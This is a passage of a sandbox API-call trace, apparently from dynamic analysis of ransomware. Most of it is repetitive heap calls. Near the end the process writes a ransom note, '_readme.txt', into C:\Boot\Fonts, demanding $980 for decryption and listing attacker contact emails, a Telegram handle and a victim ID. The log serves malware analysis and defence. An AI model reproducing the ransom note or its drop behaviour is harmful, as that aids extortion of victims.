hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.183] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.184] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.185] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0059.185] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.185] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.185] PathFindFileNameW (pszPath="") returned="" [0059.185] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.186] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.186] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.186] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.186] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0059.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.186] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0059.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.187] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.187] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.187] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.189] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.189] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.190] CloseHandle (hObject=0x5c0) returned 1 [0059.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 